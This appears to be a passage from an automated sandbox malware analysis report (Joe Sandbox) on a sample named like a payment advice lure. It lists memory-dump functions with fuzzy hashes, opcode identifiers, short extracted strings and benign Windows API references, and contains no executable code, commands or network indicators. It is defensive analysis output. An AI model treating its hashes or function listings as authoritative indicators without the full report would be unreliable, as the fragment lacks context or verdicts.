String ID:
API String ID:
Opcode ID: 41b1bfbeba4af3b6045afed53e8f131818fbd580bdbbc2a2c250ad55eb2b2b4c
Instruction ID: 45750a10b118b2a43fb4a554d9bf150e673d0e297ad8297df027894f54ed50a7
Opcode Fuzzy Hash: 41b1bfbeba4af3b6045afed53e8f131818fbd580bdbbc2a2c250ad55eb2b2b4c
Instruction Fuzzy Hash: 6A519374E012089FDB48DFA9D5849DDBBF2BF89300F208169E409AB365DB30A901CF50

Function 36A51E70 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f129ebc2fc7cd059f7b58c9698417921e26e1e22474e13ea990dfdd7fabeedc
Instruction ID: 067f22a1baa4c16ea289cf0460d573cc2157b0d667c529ba9e279f880ba76c5d
Opcode Fuzzy Hash: 0f129ebc2fc7cd059f7b58c9698417921e26e1e22474e13ea990dfdd7fabeedc
Instruction Fuzzy Hash: C6416971E016188BEB58CF6BC94479AFAF3AFC9204F14C1A9C50CA6264DB740A858F51

Function 36CF1CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979dd14ab7e1d4d92144d07f807d9ac8cc659a84c50c14f642c6aedfcf0f044f
Instruction ID: dfcb31f55ef5feca1d40b1a402e46e7ab8a97d3deb4672020b6d8ed8f3162fc5
Opcode Fuzzy Hash: 979dd14ab7e1d4d92144d07f807d9ac8cc659a84c50c14f642c6aedfcf0f044f
Instruction Fuzzy Hash: 0041F274E002188FEB48DFAAD8546DEBBF2BF89300F20D16AD418BB254EB355946CF44

Function 36A5295B Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 785f52fa97e34fb9616827350b08e4fd67d03de88a5e1d617add5c9749cd7f96
Instruction ID: 99a538f236ad423b76e1eb6f7ca5d6d4e2ecc0ab9e9098ff5d056141b56971e4
Opcode Fuzzy Hash: 785f52fa97e34fb9616827350b08e4fd67d03de88a5e1d617add5c9749cd7f96
Instruction Fuzzy Hash: F941D575D01208CFEB18CFAAD94469DFBF2AF89304F20D12AD418BB264DB355946CF55

Function 36CB6675 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206412392.0000000036CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cb0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d75a6b6f38665ef584fe74e3167b6eb83a4e010c3be15e95df1085c6ed9a57
Instruction ID: a5d3e54e7b14b6671519a9d06067166292694b7282580ceeb3ae6773b8ff4361
Opcode Fuzzy Hash: 17d75a6b6f38665ef584fe74e3167b6eb83a4e010c3be15e95df1085c6ed9a57
Instruction Fuzzy Hash: 1F41CE74E002188BEF18DFAAD9546DEBBF2BF89304F20D16AD419BB254EB345946CF50

Function 0011791D Relevance: 6.6, Strings: 5, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00117C0F
,bq, xrefs: 00117B90
(o^q, xrefs: 001178B2
(o^q, xrefs: 00117BFF
,bq, xrefs: 00117BA0

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: f6525ae3c836fa93efc7bf8817bef5b42907b0a3ea41cc54b938a84a59a73b2c
Instruction ID: 075096782f6e269fdd7cb811ce09c223403f778fb6b785453a8e0a2a7a101ae5
Opcode Fuzzy Hash: f6525ae3c836fa93efc7bf8817bef5b42907b0a3ea41cc54b938a84a59a73b2c
Instruction Fuzzy Hash: 14E14B30A082098FCB29CF68D994AEDBBF1FF49314F1585A9E4459B3A1D730ED85CB90

Function 36D3B5DA Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 36D3B666
GetCurrentThread.KERNEL32 ref: 36D3B6A3
GetCurrentProcess.KERNEL32 ref: 36D3B6E0
GetCurrentThreadId.KERNEL32 ref: 36D3B739

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5623697613f51d0e9508c7b3bfee0f3cc41eb7941c7e046a402de2ccaceadaef
Instruction ID: 20c63438c44fc75a606ea07e6b57ac785c7a3423dc36d228f8330330156793fe
Opcode Fuzzy Hash: 5623697613f51d0e9508c7b3bfee0f3cc41eb7941c7e046a402de2ccaceadaef
Instruction Fuzzy Hash: 505164B0D013498FCB40DFAAD948B9EBBF1AF49300F208069E559AB361CB749981CF65

Function 36D3B5E8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 36D3B666
GetCurrentThread.KERNEL32 ref: 36D3B6A3
GetCurrentProcess.KERNEL32 ref: 36D3B6E0
GetCurrentThreadId.KERNEL32 ref: 36D3B739

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: ae635efb1c2f6aac04aaf93a01c4a059cc290b0bfc495ffa6abb2b6d894a9c78
Instruction ID: e69724d4350a76c355daaf9bdc40bfcd293101ac387c1ceaded02709a191e553
Opcode Fuzzy Hash: ae635efb1c2f6aac04aaf93a01c4a059cc290b0bfc495ffa6abb2b6d894a9c78
Instruction Fuzzy Hash: F25165B0D012098FDB44DFAAD948B9EBBF1EF89300F208019E519AB361CB749981CF65

Function 36A53AAA Relevance: 5.2, Strings: 4, Instructions: 207COMMON

Download Yara Rule

Strings

Hbq, xrefs: 36A53CEE
Hbq, xrefs: 36A53D21
, xrefs: 36A53B4D
Hbq, xrefs: 36A53CBB

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: $Hbq$Hbq$Hbq
API String ID: 0-580995494
Opcode ID: f0db2dda0a68b7a39c057d0c210b415ae3a525585f364feb1905a41c2ddd21de
Instruction ID: f0917bf95a95767818f95a09a155552a5b4f57c2f53dd56c247b8d1eefef50ed
Opcode Fuzzy Hash: f0db2dda0a68b7a39c057d0c210b415ae3a525585f364feb1905a41c2ddd21de
Instruction Fuzzy Hash: A771E634B046549FDB11AF38985526D3AA2EFC5360F224219FA968B3D2DF358E02CB56

Function 373A665E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 373A66C2

Strings

0, xrefs: 373A66AA

Memory Dump Source

Source File: 00000002.00000002.4207044486.00000000373A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373a0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: 9f1a9acf402d3c54b21f349c1916c714af412cedf5fcfe1dfcf4263052031c8d
Instruction ID: 422f00a862ccda1e1603440226c289a4fa78b607cd9d4379677c76f1b17fda55
Opcode Fuzzy Hash: 9f1a9acf402d3c54b21f349c1916c714af412cedf5fcfe1dfcf4263052031c8d
Instruction Fuzzy Hash: 7F21F2B5810248EFEF01DF94C994BDEBBB5FF09314F258149E818AB260CB76A845CF61

Function 001164E0 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

,bq, xrefs: 0011656E
,bq, xrefs: 00116578

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 50e2fe48063b1c5d61791acf694120297fa81450e8676a51567d837ea471f8aa
Instruction ID: d446e5cf2c446312638bd2570acf211f2bf2d9c360045aa2def5a2c72be7cbac
Opcode Fuzzy Hash: 50e2fe48063b1c5d61791acf694120297fa81450e8676a51567d837ea471f8aa
Instruction Fuzzy Hash: 68815D34A00515CFCB5CCF69C4849E9BBB2BF89315B268179D405EB3A9DB32EC81CB51

Function 00115F5C Relevance: 2.7, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00116023
Hbq, xrefs: 00116056

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 917e67e51832d65aaba24c637eb5be8810e200723fc99840e04590fdba9388de
Instruction ID: d5637d3edf615395fda1e354e1ff4f2ab8f2fc2ba637138a04ef45127eda4eb7
Opcode Fuzzy Hash: 917e67e51832d65aaba24c637eb5be8810e200723fc99840e04590fdba9388de
Instruction Fuzzy Hash: 3D51BD31308255DFDB199F64D898BAE3BE2FFC9300F154569E4428B2A1CB76CD82DB91

Function 36A542D0 Relevance: 2.6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

Strings

TJcq, xrefs: 36A54462
8cq, xrefs: 36A54429

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 99ec26d1ace1825df496fb6456b36b099cd94a856dee0a87465bbeeeee8100fe
Instruction ID: 851933ebea7f2479d084832dd389ba3fbfc83bba5503e3ae3328af52281261b8
Opcode Fuzzy Hash: 99ec26d1ace1825df496fb6456b36b099cd94a856dee0a87465bbeeeee8100fe
Instruction Fuzzy Hash: 07411935A002088FDB04DB99C580EDDBBB2FF88324F155194E905AB3A5CB71ED85CFA0

Function 36A542BF Relevance: 2.6, Strings: 2, Instructions: 122COMMON

Download Yara Rule

Strings

TJcq, xrefs: 36A54462
8cq, xrefs: 36A54429

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 3407cfd0ecdd0430c4ed25fe7c0167d7d7fb153dad7099ed7f21f1e7160c0f64
Instruction ID: 62eaed6ef24f414d76b9e68a3604f30f42ecc39a769d9fe3a7d55fa68d1c019a
Opcode Fuzzy Hash: 3407cfd0ecdd0430c4ed25fe7c0167d7d7fb153dad7099ed7f21f1e7160c0f64
Instruction Fuzzy Hash: 59412A35A002058FDB04DBA9C580EDEBBB2EF88320F155154E905AB3A5CB71ED85CFA1

Function 00113CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00113CF6
Xbq, xrefs: 00113CCD

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 3931f4810e92baa5a75484034c2b595135a8f34e963cda762de5f2d0126b718c
Instruction ID: 5e0c65b53369927bc1419bd939f180ff5aec74a69541e91f34a40feb6f5cffd5
Opcode Fuzzy Hash: 3931f4810e92baa5a75484034c2b595135a8f34e963cda762de5f2d0126b718c
Instruction Fuzzy Hash: 70312B31B0432487DF1C46B999942FEA9EAABC4310F54443ED826D3398DF75CEC597A1

Function 00118EF8 Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

$^q, xrefs: 00118FB4
$^q, xrefs: 00118FD7

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 024e428660a24ad9d860922518735453bb7b0738e1a7f366858a5e746e0acca5
Instruction ID: 4e87e6be1c2886e4c5ab19330a24dafff3619c5aa2b52ab62e8c2b776a54e6b5
Opcode Fuzzy Hash: 024e428660a24ad9d860922518735453bb7b0738e1a7f366858a5e746e0acca5
Instruction Fuzzy Hash: A23187313041564FC72D8B39D8946BE7BA7AB85710725847AF012CB692DF25CCC2C796

Function 36A54351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

TJcq, xrefs: 36A54462
8cq, xrefs: 36A54429

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: e5ac20a5bbf2a00afae7da017d89beae7b003652614c899d455500aa967122fd
Instruction ID: 7664ab346335ff1f48d4eea2cc5a672e22ef86555ebb299f302144acb64125ee
Opcode Fuzzy Hash: e5ac20a5bbf2a00afae7da017d89beae7b003652614c899d455500aa967122fd
Instruction Fuzzy Hash: E5310735B402098FCB44DFA9C580E9DBBB2EF88324F255594E505AF366DA30ED85CBA0

Function 36A54385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJcq, xrefs: 36A54462
8cq, xrefs: 36A54429

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: bb1ba95ac4febe62f4e8b5b41f5275ce9e682ccf8a5a412e7fae0f353adb9e8a
Instruction ID: fa8ad4e598b56ba1bcb9371cb952a22401e81ef1ab174e943375627de08580d7
Opcode Fuzzy Hash: bb1ba95ac4febe62f4e8b5b41f5275ce9e682ccf8a5a412e7fae0f353adb9e8a
Instruction Fuzzy Hash: C3311735B401098FCB44EFA9C580E9DBBB2EF88324F255594E505AF376CA71ED85CBA0

Function 00119D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00119D84
4'^q, xrefs: 00119D6D

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: d2b08198f618343b468f0485aaf157314d87258cfffa6491ca06b46ff398dc68
Instruction ID: cd4265e6009f2e2a41ce721e0c94d300019d0fecaf007ac8409d2918e2bafffb
Opcode Fuzzy Hash: d2b08198f618343b468f0485aaf157314d87258cfffa6491ca06b46ff398dc68
Instruction Fuzzy Hash: C5F044353001186FDB0C5AA6A8649BABADBEBCC360B144439B909C7351DE61CC8283A1

Function 00110CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00110F19

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 58336a5853c6b5f1929888a8c6cae6129181a4a8e17b45f68e7c00841e5ef5f1
Instruction ID: b2a80d2287b1c4e135517731267dfed6bb40b774ae860fc489a51d156af40422
Opcode Fuzzy Hash: 58336a5853c6b5f1929888a8c6cae6129181a4a8e17b45f68e7c00841e5ef5f1
Instruction Fuzzy Hash: 4652C574A04619CFDB54DF24DE95A9DBBB2FF88301F1081A9D409AB365DB306E86CF84

Function 373A3B94 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 373A8DC1

Memory Dump Source

Source File: 00000002.00000002.4207044486.00000000373A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373a0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 812226fde75b0e0df5f7aadee9411c5645d6890cc157b2e5f5fe365c37163ef9
Instruction ID: 656176024affd9026a4547ad6730c2c6881e790dfe349a056994254ab5e8d97a
Opcode Fuzzy Hash: 812226fde75b0e0df5f7aadee9411c5645d6890cc157b2e5f5fe365c37163ef9
Instruction Fuzzy Hash: 294149B9900305DFDB40CF99C489AAABBF5FF88314F25C859D519AB321C774A841CFA0

Function 36D3B828 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 36D3B8B7

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 670afc50b24e2c90db6b8c54eb1c6ac2ee96fbd911672b2145522c2aae528f76
Instruction ID: 763f5ac1e85a54ef6916a1d868724427e67c7227bbd48508e839272c697c5e8f
Opcode Fuzzy Hash: 670afc50b24e2c90db6b8c54eb1c6ac2ee96fbd911672b2145522c2aae528f76
Instruction Fuzzy Hash: 8321E7B5D002099FDB10CFAAD984ADEFBF5EF48310F14841AE954A7310C374A940CFA5

Function 36D3B830 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 36D3B8B7

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 572409d2f540c7f48c33cbcead40f56209db1f446d2644be7d851686bea4d7ca
Instruction ID: be85e753450a12bceb5a6ac1b90d98b88bd36b9501c1a29ab2b0a7279f071f40
Opcode Fuzzy Hash: 572409d2f540c7f48c33cbcead40f56209db1f446d2644be7d851686bea4d7ca
Instruction Fuzzy Hash: C921C4B5D012599FDB10CFAAD984ADEFBF5EB48320F14841AE958A7310D374A940CFA5

Function 373AB230 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32 ref: 373AB28D

Memory Dump Source

Source File: 00000002.00000002.4207044486.00000000373A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373a0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0a61b362dac364beb374fb3d71b190002eaa6d108c6473c7f17a3dd0577168b8
Instruction ID: a1124fd576bc80c24d49047719b2d6f6be887a5bcb37b3740f6d3a8e8aa82fa5
Opcode Fuzzy Hash: 0a61b362dac364beb374fb3d71b190002eaa6d108c6473c7f17a3dd0577168b8
Instruction Fuzzy Hash: 3A1130B5C00289DFCB20DFAAD545BDEBFF4EB48320F20886AD458A7210C374A584CFA5

Function 373AB238 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32 ref: 373AB28D

Memory Dump Source

Source File: 00000002.00000002.4207044486.00000000373A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373a0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 50c0e4f4dfd3b9141b609947307ff1c7cb7edfbec6b7bd3e4eb45bc31895ba2c
Instruction ID: f9a8e3e46f8c8f447638732131b3071eea86e2e31544019f86808e9bb7e4d3f9
Opcode Fuzzy Hash: 50c0e4f4dfd3b9141b609947307ff1c7cb7edfbec6b7bd3e4eb45bc31895ba2c
Instruction Fuzzy Hash: 4C11EEB59002488FCB60DFAAD545BDEBBF4EB48320F20885AD558A7210C378A984CFA5

Function 36CEEA10 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

LR^q, xrefs: 36CEEA99

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 92322e0f7c1650eb45c5cbda2ab361ea2f020db859e8aedca7c84bee59e2b947
Instruction ID: a56a5673a9b1815cbf60e06eeab3442d3eaa02615aeee54eaab9df1140dcb885
Opcode Fuzzy Hash: 92322e0f7c1650eb45c5cbda2ab361ea2f020db859e8aedca7c84bee59e2b947
Instruction Fuzzy Hash: 2B518B34F102158FDB04DF79C984A5E7BF6BF8C685B1185A9E40ADB3A1EA30DC02CB95

Function 36A54790 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

Hbq, xrefs: 36A54825

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 3059120b931ab7085a2327d5f7230b741ea359931644e25bc3f2649b6cea38d2
Instruction ID: 55db57fc2e9a7ac5c727031109b9fd49597e2aa80c6553f4d87df2c40a663790
Opcode Fuzzy Hash: 3059120b931ab7085a2327d5f7230b741ea359931644e25bc3f2649b6cea38d2
Instruction Fuzzy Hash: 8631C571B002089FC744EFB99954A6E7BAAEF88340F10457DA649D7251DF309E02CBA1

Function 00112790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001127BF

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 83f5084431605affbe092d3f85839ddaaccc14df26ee8bf10f014cb33e5beb87
Instruction ID: e80f07108f9882d1617ab30f838d45ec243b0869241fdbae226912002a75e19f
Opcode Fuzzy Hash: 83f5084431605affbe092d3f85839ddaaccc14df26ee8bf10f014cb33e5beb87
Instruction Fuzzy Hash: 2E314934D092498FCB05DFB8D8046EEBFF4EF4A300F1451AAD444A7261EB345A85CBA2

Function 36A54928 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

Hbq, xrefs: 36A5492E

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 91adc6a416e682dfe7bba7603fe9ce722d85b5f4c46144e9d26ea515be8e11b8
Instruction ID: fd15b805c5ad4cf29bf374851a690819408a7b08b0ebdc4662419e083315e61f
Opcode Fuzzy Hash: 91adc6a416e682dfe7bba7603fe9ce722d85b5f4c46144e9d26ea515be8e11b8
Instruction Fuzzy Hash: 3F11B130605244DFDB45AB79D815A5E7BBAFFC9350B20407AE50597262CF348D46CB61

Function 0011E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1fa8de9d1d8f20196b62549490feea9debdfb09569bbe5627c7b20cf7d4762
Instruction ID: 308c28050fb984e2bde8fdf3bbd79d9cb7fb09fd842e5c80203b538aab7cf6fd
Opcode Fuzzy Hash: ab1fa8de9d1d8f20196b62549490feea9debdfb09569bbe5627c7b20cf7d4762
Instruction Fuzzy Hash: 7512A834421613DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546CACB62

Function 36A54A6B Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce77664b0c360bd363fff3cf1376c1f6c65a9e323695856fbb030d0d1ef99e0d
Instruction ID: eeecbfd78f0b80626996e5b04918d4031235358a26bdae4669309de9e6178a8c
Opcode Fuzzy Hash: ce77664b0c360bd363fff3cf1376c1f6c65a9e323695856fbb030d0d1ef99e0d
Instruction Fuzzy Hash: 6E51E476A042059FD714EB6ADC40A9EBBA9FBC8360F12853AEA59D7751D730D801CBA0

Function 001180D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d322a02f1d4c70ffa68343853a07d118436f10313e722fc04ceb1207d18456e8
Instruction ID: 899da2cd6f0e56f6e761cfebde2b9e9f57fbd8365c4f7222727dedf58ac14946
Opcode Fuzzy Hash: d322a02f1d4c70ffa68343853a07d118436f10313e722fc04ceb1207d18456e8
Instruction Fuzzy Hash: 78712C347006058FCB19DF68C898AAE7BE6BF99740B1981A9E806DB371DF70DC81CB51

Function 36CED410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

